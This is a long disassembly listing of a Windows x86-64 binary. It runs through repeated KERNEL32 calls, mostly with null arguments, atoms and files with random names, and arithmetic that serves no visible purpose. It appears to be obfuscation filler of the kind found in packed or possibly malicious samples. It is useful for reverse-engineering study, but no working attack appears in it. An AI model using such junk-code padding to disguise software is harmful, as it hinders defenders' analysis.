mov rax, qword [rsp + 0xe160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa20]
or eax, ecx
mov rcx, qword [0x1401c8f50]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movzx ecx, word [rsp + 0x23e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23f4], ax
mov rax, qword [0x1401c8ec8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe950]
shl rax, cl
mov qword [rsp + 0xe340], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx ecx, word [rsp + 0x249c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x26fc], ax
mov rax, qword [rsp + 0xe850]
mov rax, qword [rax]
mov qword [rsp + 0xee58], rax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd2e8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8b8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
movsx eax, word [0x1401c8cf8]
movsx ecx, word [rsp + 0x10a0]
and eax, ecx
mov word [rsp + 0x2204], ax
lea rax, [rsp + 0x6b64]
mov qword [rsp + 0xee60], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcd88], rax
mov rcx, qword [rsp + 0xe0e8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xd4e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3d0], al
mov r9d, 2
lea r8, [rsp + 0xec30]
mov rdx, qword [rsp + 0xee68]
mov rcx, qword [rsp + 0xdc58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6a84], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6794], eax
mov rax, qword [0x1401c8c78]
mov rax, qword [rax]
mov qword [rsp + 0xee70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
movzx eax, byte [rsp + 0x3f6]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xd008]
mov byte [rcx], al
mov rax, qword [rsp + 0xec78]
mov ecx, dword [rsp + 0x6498]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5ba0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
movzx eax, word [rsp + 0x1c8c]
mov word [0x1401c8f98], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6b84], eax
movzx eax, word [rsp + 0x21b8]
movzx ecx, word [rsp + 0x2680]
sar eax, cl
mov word [rsp + 0x110c], ax
mov rax, qword [rsp + 0xd390]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe750]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2384], ax
mov r9d, 0x1cee
xor r8d, r8d
lea rdx, [rsp + 0xe218]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x648c], eax
mov rax, qword [rsp + 0x9f10]
mov qword [rsp + 0xee78], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rcx, str.x2LQfGFxln
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2810], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xca90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xca30]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2c2], al
mov rax, qword [rsp + 0xdcb8]
mov rcx, qword [rsp + 0xc3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6448], eax
mov rax, qword [rsp + 0xdc90]
mov rcx, qword [rsp + 0xe5b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbcc8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6574], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6a48], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xee80], rax
mov rax, qword [rsp + 0xd3e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdfb0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1608], ax
mov rax, qword [rsp + 0xd4d8]
movzx eax, word [rax]
mov word [rsp + 0x2814], ax
mov r9d, 1
lea r8, [rsp + 0xec30]
mov rdx, qword [rsp + 0xd8c8]
mov rcx, qword [rsp + 0xe518]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6994], eax
mov rax, qword [rsp + 0xecf0]
mov rcx, qword [rsp + 0xd328]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c7140], rax
movzx eax, word [rsp + 0x1c14]
movzx ecx, word [rsp + 0x2234]
add eax, ecx
mov word [rsp + 0x2494], ax
mov rax, qword [rsp + 0xcf68]
mov rax, qword [rax]
mov rcx, qword [0x1401c8c20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd7e8]
mov qword [rcx], rax
lea rax, [rsp + 0x9c98]
mov qword [rsp + 0xee88], rax
movsx eax, byte [rsp + 0x1e5]
mov rcx, qword [rsp + 0xe428]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3af], al
lea rax, [0x1401c71f0]
mov qword [rsp + 0xee90], rax
movzx eax, byte [rsp + 0x408]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3db], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc628]
mov eax, dword [rax]
mov dword [rsp + 0x6b88], eax
mov eax, dword [0x1401c8e40]
movzx ecx, al
mov eax, dword [rsp + 0x65d0]
shr eax, cl
mov dword [rsp + 0x5d98], eax
movsx eax, word [rsp + 0x2758]
movsx ecx, word [rsp + 0x1808]
shl eax, cl
mov word [0x1401c72a8], ax
mov rax, qword [rsp + 0xc408]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20dc]
or eax, ecx
mov word [rsp + 0x20d8], ax
lea rcx, str.zi_jltO1p
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2818], ax
movzx eax, word [rsp + 0x190c]
movzx ecx, word [rsp + 0x2330]
sub eax, ecx
mov word [rsp + 0x19ec], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xeb88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2064]
sub eax, ecx
mov word [rsp + 0x1c14], ax
mov rcx, qword [rsp + 0xd308]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6558], eax
mov rax, qword [rsp + 0xda08]
movzx eax, byte [rax]
mov byte [rsp + 0x431], al
mov rax, qword [rsp + 0xdaf8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5db4]
shr eax, cl
mov rcx, qword [rsp + 0xe430]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x25f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x279c], ax
mov rax, qword [rsp + 0xd478]
movzx ecx, al
mov rax, qword [rsp + 0xc950]
shl rax, cl
mov qword [rsp + 0xe658], rax
mov rax, qword [0x1401c8cb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2748]
or eax, ecx
mov word [rsp + 0x11dc], ax
mov rax, qword [rsp + 0xd4d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x169c]
sub eax, ecx
mov word [rsp + 0x1eb0], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x69d0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa520]
mov rcx, qword [rsp + 0xd540]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c8f10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9db0]
mov qword [rsp + 0xee98], rax
mov rax, qword [rsp + 0xea58]
mov rcx, qword [rsp + 0xe5b0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc130], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcd88], rax
mov rax, qword [0x1401c7108]
cqo
idiv qword [rsp + 0xe920]
mov qword [rsp + 0xad20], rax
lea rax, [rsp + 0x13b4]
mov qword [rsp + 0xeea0], rax
mov rax, qword [rsp + 0xd430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6584]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6440], eax
movzx eax, byte [rsp + 0x36b]
mov byte [rsp + 0x432], al
mov rax, qword [rsp + 0xda08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3d8]
or eax, ecx
mov byte [rsp + 0x3d5], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd418]
mov qword [rsp + 0xeea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeea8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xaf40], rax
mov eax, dword [0x1401c7008]
mov dword [0x1401c8f9c], eax
mov rax, qword [rsp + 0xca78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2194]
shl eax, cl
mov word [rsp + 0x25d4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.BcNINO0EVDrPtvV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xeeb0], rax
movsx eax, word [rsp + 0x146c]
movsx ecx, word [rsp + 0x26d8]
sub eax, ecx
mov word [rsp + 0x22e0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx ecx, word [rsp + 0x25c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24e4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe288], rax
movzx eax, word [0x1401c8f6c]
mov word [rsp + 0x281c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0xe790]
mov rcx, qword [rsp + 0xd410]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe040], rax
lea rax, [rsp + 0x359]
mov qword [rsp + 0xeeb8], rax
mov rax, qword [rsp + 0xde00]
mov rcx, qword [rsp + 0xc808]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xede8], rax
mov r9d, 2
lea r8, [rsp + 0xe0a0]
mov rdx, qword [rsp + 0xdbc0]
mov rcx, qword [rsp + 0xe938]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x674c], eax
lea rcx, str.i_Wd_m
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2820], ax
lea rcx, str.RKY_rAk_Rjl
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2588], ax
movzx ecx, word [rsp + 0x2624]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x26b8], ax
mov rax, qword [rsp + 0xee60]
mov rcx, qword [rsp + 0xcd60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5eb0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xeec0], rax
mov rax, qword [rsp + 0xca78]
movsx eax, word [rax]
mov rcx, qword [0x1401c8eb0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf88], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2680]
shl eax, cl
mov word [0x1401c8d28], ax
mov rax, qword [rsp + 0xdde0]
mov rcx, qword [rsp + 0xc540]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc6e0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65a0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcb98], rax
mov rcx, qword [rsp + 0xdb78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6b8c], eax
movzx eax, word [0x1401c8bf0]
mov word [rsp + 0x2824], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xe1a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5728]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6838], eax
movzx eax, byte [rsp + 0x42e]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xdcf8]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1fa4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2358], ax
lea rcx, [rsp + 0x20998]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd170]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x109], al
lea rcx, str.GrwN8JW
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2828], ax
mov rax, qword [rsp + 0xe768]
mov rcx, qword [rsp + 0xdfc8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa408], rax
mov eax, dword [0x1401c8a18]
mov dword [rsp + 0x6b90], eax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2290]
xor eax, ecx
mov word [rsp + 0x2048], ax
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xce68]
movzx eax, word [rax]
mov word [0x1401c8fa0], ax
mov rax, qword [0x1401c8f10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb7e0]
sar rax, cl
mov qword [rsp + 0x97d0], rax
mov rax, qword [rsp + 0xe740]
mov qword [rsp + 0xeec8], rax
movsx eax, word [rsp + 0xb90]
movsx ecx, word [rsp + 0x2548]
shl eax, cl
mov word [rsp + 0x1104], ax
movzx ecx, word [rsp + 0x1f80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27b8], ax
mov rax, qword [rsp + 0xea78]
movzx eax, word [rax]
mov rcx, qword [0x1401c8ec0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc08], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0xe8d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39c]
sub eax, ecx
mov byte [rsp + 0x32e], al
mov eax, dword [rsp + 0x59b4]
mov dword [rsp + 0x6b94], eax
mov rax, qword [rsp + 0xdc90]
mov rcx, qword [rsp + 0xe538]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x95b8], rax
lea rcx, str.YOsMP_8Grj_1Dc
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x282c], ax
mov rax, qword [rsp + 0xd448]
mov rcx, qword [rsp + 0xe0a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4a8], rax
movsx eax, word [rsp + 0x13c8]
mov rcx, qword [0x1401c8a38]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c72ac], ax
movzx eax, word [rsp + 0x1298]
movzx ecx, word [rsp + 0x2524]
or eax, ecx
mov word [rsp + 0x19a0], ax
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [rsp + 0x2d8]
sar eax, cl
mov byte [rsp + 0x95], al
mov rcx, qword [rsp + 0xd960]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6918], eax
lea rax, [0x1401c8a20]
mov qword [rsp + 0xeed0], rax
movzx ecx, word [rsp + 0x215c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2830], ax
lea rcx, [rsp + 0x1d610]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xaeb0]
movzx ecx, al
mov rax, qword [rsp + 0xa0e0]
shl rax, cl
mov qword [rsp + 0xda88], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0xed80]
mov ecx, dword [rsp + 0x595c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x58ec], eax
movzx ecx, word [rsp + 0x24f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2740], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x20c38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov qword [rsp + 0xeed8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe058], rax
mov rcx, qword [rsp + 0xe318]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6988], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xeee0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64b8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6750], eax
mov r9d, 0x19e
xor r8d, r8d
lea rdx, [rsp + 0xd3f8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6a98], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xeee8], rax
mov rax, qword [rsp + 0xe510]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcba0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x27b], al
mov rax, qword [rsp + 0xe670]
movzx eax, word [rax]
mov word [rsp + 0x2834], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x257c]
and eax, ecx
mov word [0x1401c8d24], ax
lea rcx, [rsp + 0x1d908]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ecx, word [rsp + 0x2810]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2820], ax
lea rcx, str.MlACL_XRNdG6_zjth_TUZT
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2838], ax
mov rax, qword [rsp + 0xd3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda88]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe560], rax
movzx eax, word [rsp + 0x2200]
mov rcx, qword [rsp + 0xca48]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2418], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rax, [0x1401c70a4]
mov qword [rsp + 0xeef0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x69d8], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x66c8], eax
mov rax, qword [rsp + 0xcf58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb890]
shl rax, cl
mov qword [rsp + 0xb0d8], rax
mov rax, qword [rsp + 0xd440]
mov rcx, qword [rsp + 0xcb50]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5e90], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6640], eax
mov rax, qword [rsp + 0xc590]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdd98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xebb0], rax
mov rax, qword [rsp + 0xd1f0]
movzx eax, byte [rax]
mov byte [rsp + 0x433], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1aa8]
movzx ecx, word [0x1401c8f80]
sub eax, ecx
mov word [rsp + 0x2664], ax
mov rax, qword [rsp + 0x9538]
mov rcx, qword [rsp + 0xd4c0]
add rcx, rax
mov rax, rcx
mov qword [0x1401c8dc8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x66fc], eax
lea rdx, [rsp + 0x26450]
mov rcx, qword [rsp + 0xdb48]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x66f0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.JXGkXOjT1umx7yUHTV_rJMxyrbJqK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xeef8], rax
lea rcx, [rsp + 0x1d868]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xe8a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3f7]
add eax, ecx
mov byte [rsp + 0x405], al
mov eax, dword [rsp + 0x6b18]
mov ecx, dword [0x1401c8a1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5dbc], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x658c], eax
movsx eax, word [rsp + 0x1108]
movsx ecx, word [rsp + 0x19f8]
shl eax, cl
mov word [rsp + 0x20a4], ax
lea rax, [rsp + 0x26f4]
mov qword [rsp + 0xef00], rax
movzx ecx, word [rsp + 0x1ffc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24f4], ax
mov rax, qword [rsp + 0xdca8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd478]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd58], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xef08], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movsx eax, byte [rsp + 0x13a]
movsx ecx, byte [rsp + 0x412]
sar eax, cl
mov byte [rsp + 0x3e3], al
mov rax, qword [0x1401c8d60]
mov eax, dword [rax]
mov dword [rsp + 0x6b98], eax
mov rax, qword [rsp + 0xecc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ee8], ax
movzx eax, word [rsp + 0x11e4]
mov word [0x1401c8fa4], ax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
mov qword [rsp + 0xef10], rax
mov rax, qword [rsp + 0xcc88]
mov rcx, qword [rsp + 0xb180]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc390]
mov qword [rcx], rax
mov rax, qword [rsp + 0xecf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc748]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe850]
mov qword [rcx], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov edx, 0xaee
mov rcx, qword [rsp + 0xcf88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6b9c], eax
mov rax, qword [rsp + 0xeb30]
movsx eax, word [rax]
mov rcx, qword [0x1401c8b80]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa44], ax
movsx eax, byte [rsp + 0xf5]
mov rcx, qword [rsp + 0xed88]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1a8], al
mov eax, dword [rsp + 0x66b8]
mov dword [rsp + 0x6ba0], eax
mov rax, qword [0x1401c8c78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe9a0]
mov qword [rsp + 0xef18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef18]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb218], rax
mov eax, dword [rsp + 0x650c]
mov ecx, dword [rsp + 0x62d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b44], eax
lea rdx, [rsp + 0x26300]
mov rcx, qword [rsp + 0xcee0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6580], eax
movzx eax, byte [rsp + 0x3c7]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcd98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xec00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401c8eb0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0xcbb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc838]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf7c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movzx ecx, word [rsp + 0x20ac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2538], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8da8]
movzx eax, word [rax]
mov word [rsp + 0x283c], ax
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe260]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb40], rax
lea rax, [rsp + 0x9ee8]
mov qword [rsp + 0xef20], rax
mov eax, dword [rsp + 0x60f4]
mov rcx, qword [rsp + 0xcd40]
mov qword [rsp + 0xef28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef28]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5650], eax
lea rcx, str.L9VnkbAg_Z
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2560], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rcx, [rsp + 0x1d9a8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, 0x2524
mov rcx, qword [rsp + 0xc890]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6ba4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
lea rcx, str.FDKq.djBhq
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x27bc], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x653c], eax
